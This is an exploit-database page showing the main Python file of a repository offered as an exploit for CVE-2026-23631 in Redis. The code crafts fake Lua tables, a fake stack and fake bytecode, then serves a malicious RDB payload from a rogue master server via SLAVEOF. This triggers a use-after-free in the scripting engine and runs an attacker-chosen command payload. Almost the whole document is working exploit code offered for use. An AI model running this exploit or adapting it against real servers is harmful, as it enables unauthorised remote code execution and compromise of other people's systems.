Exploit databaseDownload repository ZIP
GH-baa3752fd39e3895667c8fbc596488a3
yoyosh/darkreplica
Sources for CVE-2026-23631
1 sourcePreferred order: Exploit-DB, Metasploit, then GitHub repositories by stars.
Repository files14
yoyosh/darkreplicaRevision e9861498c36a
- ↑..Parent directory
- lua/
- master_server/
- rdb/
- resources/
- utils/
- __init__.py
- __main__.py
- constants.py
- errors.py
- exploit.py
- fake_tables.py
- logging.py
- symbol_offsets.py
- typing.py
Files from this repository share one source choice. Supporting files may cover other vulnerabilities.
dark_replica/exploit.py
Suggested starting filePython · 14,554 bytesfrom io import BytesIO
from ctypes import sizeof
from multiprocessing import Process
from contextlib import contextmanager
from redis import Redis
from redis.retry import Retry
from redis.backoff import NoBackoff
from redis.exceptions import ConnectionError
from typing import List, ContextManager
from rich.pretty import pretty_repr
from .resources import UTILS, SLOW_FUNCTION, STAGE1, STAGE2, STAGE3
from .resources.lua import RawCode
from .symbol_offsets import SymbolOffsets
from .lua.structs import LuaValueType, TValue, TString, Table, CClosure, stringtable, \
global_State, lua_State
from .lua.stack import Stack
from .lua.bytecode import Bytecode, Instruction, OpCode
from .fake_tables import FakeTables, FakeTable, FakeTableArray
from .rdb import Writer as RDBWriter
from .master_server import Server as MasterServer
from .constants import SLOW_FUNCTION_LIBRARY_NAME, SLOW_FUNCTION_FUNCTION_NAME, \
SLOW_FUNCTION_BYTECODE_SIZE, SLOW_FUNCTION_BYTECODE_PC_OFFSET, SLOW_FUNCTION_STACK_TOP_OFFSET, \
UAF_SPRAY_PAD_BYTES_COUNT, UAF_SPRAY_COUNT, LUA_GC_CYCLE_PERIOD
from .logging import LOGGER
from .utils.logging import Hex
from .errors import PayloadSizeError, ExploitFailureException
from .typing import Pointer
class Exploit:
# -------------------------------- State --------------------------------
# Master server
master_server: MasterServer
master_host: str
master_port: int
master_proc: Process
# Fake objects
stack: Stack
bytecode: Bytecode
lua_state: lua_State
fake_tables: FakeTables
# Allocated buffers addresses
dummy_write_buffer_address: Pointer
# RDB Payload
rdb_payload: bytes
# -------------------------------- Setup --------------------------------
def __init__(
self,
client: Redis,
master_server: MasterServer,
master_host: str,
master_port: int,
command_payload: bytes,
symbol_offsets: SymbolOffsets,
):
self.client = client
self.master_server = master_server
self.master_host = master_host
self.master_port = master_port
self.command_payload = command_payload
self.symbol_offsets = symbol_offsets
def connect(self):
# Disable retries
self.client.set_retry(
Retry(
backoff=NoBackoff(),
retries=0,
),
)
LOGGER.info("Pinging server")
self.client.ping()
LOGGER.info("Server responds")
def reset_state(self):
LOGGER.info("Resetting server functions & scripting state")
self.client.function_flush(mode="SYNC")
self.client.script_flush(sync_type="SYNC")
def setup(self):
self.connect()
self.reset_state()
# -------------------------------- Fake objects --------------------------------
def build_fake_tables(self):
"""
fake_table2->array == &fake_table1->array
fake_table3->array == &fake_table3_array
fake_table4->array == &fake_table3->array[0].tt
"""
LOGGER.info("Building fake tables")
# replaced in stage1.lua
table_array_placeholder = 0
table1 = Table(
array=0x4141414141414141,
node=3, # just for the !ttisnil(oldval) check on fake_table2 to pass
sizearray=1,
metatable=0, # to ensure no crash in fasttm()
)
table2 = Table(
array=table_array_placeholder,
sizearray=1,
metatable=0, # to ensure no crash in fasttm()
)
table3_array = (TValue * 1)(
TValue(
value=0x4141414141414141,
tt=LuaValueType.LUA_TNUMBER.value,
),
)
table3 = Table(
array=table_array_placeholder,
node=3, # just for the !ttisnil(oldval) check on fake_table4 to pass
sizearray=1,
metatable=0, # to ensure no crash in fasttm()
)
table4 = Table(
array=table_array_placeholder,
sizearray=1,
metatable=0, # to ensure no crash in fasttm()
)
fake_tables = FakeTables(
table1=FakeTable(table=table1),
table2=FakeTable(table=table2),
table3_array=FakeTableArray(array=table3_array),
table3=FakeTable(table=table3),
table4=FakeTable(table=table4),
)
self.fake_tables = fake_tables
LOGGER.debug("Fake tables:")
LOGGER.debug(self.fake_tables) # TODO: Print as bytes
def build_bytecode(self) -> Bytecode:
LOGGER.info("Building fake bytecode")
r = Instruction.r
k = Instruction.k
bytecode = Bytecode(
checkstack=30, # Leave some space for the function call
)
bytecode.instructions.append(Instruction(op=OpCode.OP_CALL, ra=0, b=r(6), c=r(1)))
self.bytecode = bytecode
LOGGER.debug("Fake bytecode:")
LOGGER.debug(self.bytecode)
def build_stack(self):
LOGGER.info("Building fake stack")
slots = []
# replaced in stage1.lua
value_placeholder = 0
slots.append(TValue(value=value_placeholder, tt=LuaValueType.LUA_TFUNCTION.value)) # 0 - coroutine.resume
slots.append(TValue(value=value_placeholder, tt=LuaValueType.LUA_TTHREAD.value)) # 1 - stage3_co
slots.append(TValue(value=value_placeholder, tt=LuaValueType.LUA_TTABLE.value)) # 2 - fake_table1
slots.append(TValue(value=value_placeholder, tt=LuaValueType.LUA_TTABLE.value)) # 3 - fake_table2
slots.append(TValue(value=value_placeholder, tt=LuaValueType.LUA_TTABLE.value)) # 4 - fake_table3
slots.append(TValue(value=value_placeholder, tt=LuaValueType.LUA_TTABLE.value)) # 5 - fake_table4
base = SLOW_FUNCTION_STACK_TOP_OFFSET - len(slots)
size = base + self.bytecode.checkstack
stack = Stack(
base=base,
size=size,
slots=slots,
)
self.stack = stack
LOGGER.debug("Fake stack:")
LOGGER.debug(self.stack)
def build_lua_state(self):
LOGGER.info("Building fake lua state")
state = lua_State()
# Unfortunately, we cannot set the first 24 bytes due to the TString header :(
# (state->next, state->tt, state->marked, state->status, state->top)
# Just a marker for debug
state.l_G = 0x4141414141414141
state.ci = self.dummy_write_buffer_address
# state.base = opcodes_buffer_addr
# state.hookmask = (1 << 3)
# state.hookcount = 1
# state.allowhook = 1
# state.hook = 0x9988998899889988
# Cannot set top :(
# It will be set to base + SLOW_FUNCTION_STACK_TOP_OFFSET
state.stack = self.stack.address - (self.stack.base * sizeof(TValue))
state.base = self.stack.address
state.stack_last = state.stack + (self.stack.size * sizeof(TValue))
self.lua_state = state
LOGGER.debug("Fake lua state:")
LOGGER.debug(self.lua_state)
# -------------------------------- Stage 1 --------------------------------
def stage1(self):
self.build_fake_tables()
self.build_bytecode()
self.build_stack()
utils = UTILS.build(
arguments={},
)
LOGGER.info("Preparing stage 3 function")
stage3_function = STAGE3.build(
arguments={
# Structs
"offsetof(CClosure, f)": CClosure.f.offset,
"offsetof(stringtable, hash)": stringtable.hash.offset,
"offsetof(stringtable, size)": stringtable.size.offset,
"sizeof(stringtable.hash)": stringtable.hash.size,
"offsetof(global_State, strt)": global_State.strt.offset,
"offsetof(global_State, frealloc)": global_State.frealloc.offset,
"offsetof(global_State, ud)": global_State.ud.offset,
"offsetof(lua_State, l_G)": lua_State.l_G.offset,
"offsetof(lua_State, l_G)": lua_State.l_G.offset,
"offsetof(lua_State, ci)": lua_State.ci.offset,
"offsetof(lua_State, base_ci)": lua_State.base_ci.offset,
# Offsets
"symbol_offsets": self.symbol_offsets.to_dict(),
}
)
script = STAGE1.build(
arguments={
# Includes
"!utils": utils,
"!stage3_function": stage3_function,
# Constants
"LUA_GC_CYCLE_PERIOD": LUA_GC_CYCLE_PERIOD,
# Structs
"offsetof(Table, array)": Table.array.offset,
"offsetof(TValue, value)": TValue.value.offset,
"offsetof(TValue, tt)": TValue.tt.offset,
"sizeof(TValue)": sizeof(TValue),
"sizeof(lua_State)": sizeof(lua_State),
"sizeof(TString)": sizeof(TString),
"sizeof(Table)": sizeof(Table),
# Buffers to malloc
"fake_table1": bytes(self.fake_tables.table1.table),
"fake_table2": bytes(self.fake_tables.table2.table),
"fake_table3_array": bytes(self.fake_tables.table3_array.array),
"fake_table3": bytes(self.fake_tables.table3.table),
"fake_table4": bytes(self.fake_tables.table4.table),
"stack": bytes(self.stack.encode()),
"command_payload": self.command_payload,
},
)
LOGGER.info("Executing stage 1 (in scripting engine)")
# Run in scripting engine instead of the functions engine,
# since the functions engine is about to get freed!
output = self.client.eval(
script=script.code,
numkeys=0,
)
output = dict(output)
output = {key.decode("ascii"): value for key, value in output.items()}
LOGGER.info(
"Allocated buffers: %s",
pretty_repr({key: Hex(value) for key, value in output.items()}),
)
self.dummy_write_buffer_address = output["dummy_write_buffer_addr"]
self.stack.address = output["stack_addr"]
self.fake_tables.table1.address = output["fake_table1_addr"]
self.fake_tables.table2.address = output["fake_table2_addr"]
self.fake_tables.table3_array.address = output["fake_table3_array_addr"]
self.fake_tables.table3.address = output["fake_table3_addr"]
self.fake_tables.table4.address = output["fake_table4_addr"]
# -------------------------------- Stage 2 --------------------------------
def adjust_uaf_buffer(self, buf: bytes) -> bytes:
return buf[sizeof(TString):-UAF_SPRAY_PAD_BYTES_COUNT]
def build_rdb_payload(self, functions: List[bytes]):
LOGGER.info("Building RDB payload")
writer = BytesIO()
rdb = RDBWriter(writer)
rdb.init()
for function in functions:
rdb.write_function(function)
rdb.finalize()
rdb_payload = writer.getvalue()
self.rdb_payload = rdb_payload
@contextmanager
def start_master_server(self) -> ContextManager: # type: ignore
LOGGER.info("Starting master server to serve stage 2 payload")
self.master_server.rdb_payload = self.rdb_payload
self.master_proc = Process(target=self.master_server.run)
try:
self.master_proc.start()
yield
finally:
LOGGER.info("Terminating master server")
self.master_proc.terminate()
@contextmanager
def stage2(self) -> ContextManager: # type: ignore
self.build_lua_state()
bytecode = self.bytecode.encode()
bytecode = (b"\x00" * SLOW_FUNCTION_BYTECODE_PC_OFFSET) + bytecode
if len(bytecode) > SLOW_FUNCTION_BYTECODE_SIZE:
raise PayloadSizeError("Bytecode payload too large")
bytecode += b"\x00" * (SLOW_FUNCTION_BYTECODE_SIZE - len(bytecode))
bytecode = self.adjust_uaf_buffer(bytecode)
lua_state = bytes(self.lua_state)
lua_state = self.adjust_uaf_buffer(lua_state)
stage2 = STAGE2.build(
arguments={
"spray_count": UAF_SPRAY_COUNT,
"lua_state": lua_state,
"bytecode": bytecode,
},
)
self.build_rdb_payload(
functions=[
stage2.code.encode("ascii"),
],
)
with self.start_master_server():
yield
# -------------------------------- Trigger UAF --------------------------------
def trigger_uaf(self):
LOGGER.info("Flushing functions")
self.client.function_flush(mode="SYNC")
slow_function = SLOW_FUNCTION.build(
arguments={
"library_name": RawCode(SLOW_FUNCTION_LIBRARY_NAME), # Do not escape
"function_name": SLOW_FUNCTION_FUNCTION_NAME,
},
)
LOGGER.info("Loading slow function")
self.client.function_load(
code=slow_function.code,
replace=True,
)
LOGGER.info("Starting transaction")
with self.client.pipeline() as pipeline:
LOGGER.info("Enslaving the server")
pipeline.slaveof(self.master_host, self.master_port)
# SLAVEOF makes the server readonly - reverse it
LOGGER.info("Disabling readonly")
pipeline.config_set("slave-read-only", "no")
LOGGER.info("Calling the slow function in order to trigger the UAF")
pipeline.fcall(SLOW_FUNCTION_FUNCTION_NAME, 0)
try:
resps = pipeline.execute(False)
except ConnectionError:
LOGGER.info("The server exited (as expected) / crashed")
else:
LOGGER.info(f"Pipeline responses: {resps}")
# Server was supposed to exit
raise ExploitFailureException("Server did not exit/crash - the exploit might have failed.")
LOGGER.info("The command might have been executed!")
# -------------------------------- Main logic --------------------------------
def run(self):
self.setup()
self.stage1()
with self.stage2():
self.trigger_uaf()
LOGGER.info("Done")